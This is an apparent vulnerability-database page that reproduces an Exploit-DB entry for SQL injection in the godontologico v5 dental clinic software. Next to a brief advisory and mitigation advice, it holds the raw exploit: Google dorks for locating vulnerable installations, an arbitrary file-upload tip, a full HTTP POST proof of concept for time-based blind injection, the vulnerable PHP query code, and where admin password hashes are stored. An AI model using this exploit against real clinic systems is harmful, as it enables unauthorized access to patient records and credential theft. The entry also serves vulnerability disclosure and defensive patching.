0day godontologico v5 - SQL Inject

vendor:

godontologico

by:

vinicius777

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: godontologico

Affected Version From: 5

Affected Version To: 5

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

0day godontologico v5 – SQL Inject

Once logged in as 'admin', an attacker can perform a SQL injection by uploading a file through the 'Clinic Files' feature and accessing it via the 'View File' option or directly through the URL 'http://xxx/arquivos/daclinica/files'.

Mitigation:

Implement proper input validation and parameterized queries to prevent SQL injections. Also, limit file upload functionality to only allow specific file types and validate the uploaded files for potential malicious content.

Source

Exploit-DB raw data:

########################################################################################
[+] Exploit: 0day godontologico v5 - SQL Inject                                        #
[+] Author: vinicius777					                               #
[+] Contact: vinicius777 [AT] gmail - @vinicius777_                                    #	                 
[+] Vendor Homepage: http://sourceforge.net/projects/godontologico/                    #
[+] Google D0rks: "Smile Odonto - Enhancing your smile - www.smileodonto.com.br"       #
[+] Google D0rks: "Smile Odonto ® - Valorizando seu sorriso - www.smileodonto.com.br"  #
########################################################################################

### Mummy bought me a new hat today #

 You can considerate it a 0day! Once logged as 'admin' browse to 'Utilites' ->  'Files' -> 'Clinic Files', upload whatever you want to, access it by clicking in 'View File' or browse directly through 'http://xxx/arquivos/daclinica/files. Enjoy it xD ###

 
[1] Sql Injection POST Time Based Blind

#Note: Time based Injection on POST requests as indicated on the output. You might use sqlmap -l to load it though. Admin hashes under Table ‘funcionarios' on column ‘senha'.  

PoC:  

POST /gco/wallpapers/index_ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/gco/
Content-Length: 61
Cookie: __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=111872281.1068821941.1389863798.1389863798.1389863798.1; __utmz=111872281.1389863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; sLogin=admin; bLicense53=true; ccss=2; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; mySession_ID=rkc83o3o3e5df60aoocpb2bqb1; groupoffice=u8q9fb14k1jqvl0vtaidqr3va1; PHPSESSID=pk5053kt9fh1p1jm8kcvn6kh05; Loggedin=True
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


usuario=['SQL INJECTION']&senha=%70%61%73%73&login=%4C%6F%67%69%6E



Vulnerable Code:
[+] wallpapers/index_ajax.php


	$nivel = 'Funcionario';
                $row = mysql_fetch_array(mysql_query("SELECT * FROM `funcionarios` WHERE `usuario` = '$_POST[usuario]'"));
                if($row[nome] == "") {
                        $nivel = 'Dentista';
                        $row = mysql_fetch_array(mysql_query("SELECT * FROM `dentistas` WHERE `usuario` = '$_POST[usuario]'"));
                        if($row[nome] == "") {
                                //echo "<scr"."ipt>alert('Login ou senha incorretos!'); Ajax('wallpapers/index', 'conteudo', '')</scr"."ipt>";
                        }


#
#
# Greetz to g0tm1lk and TheColonial.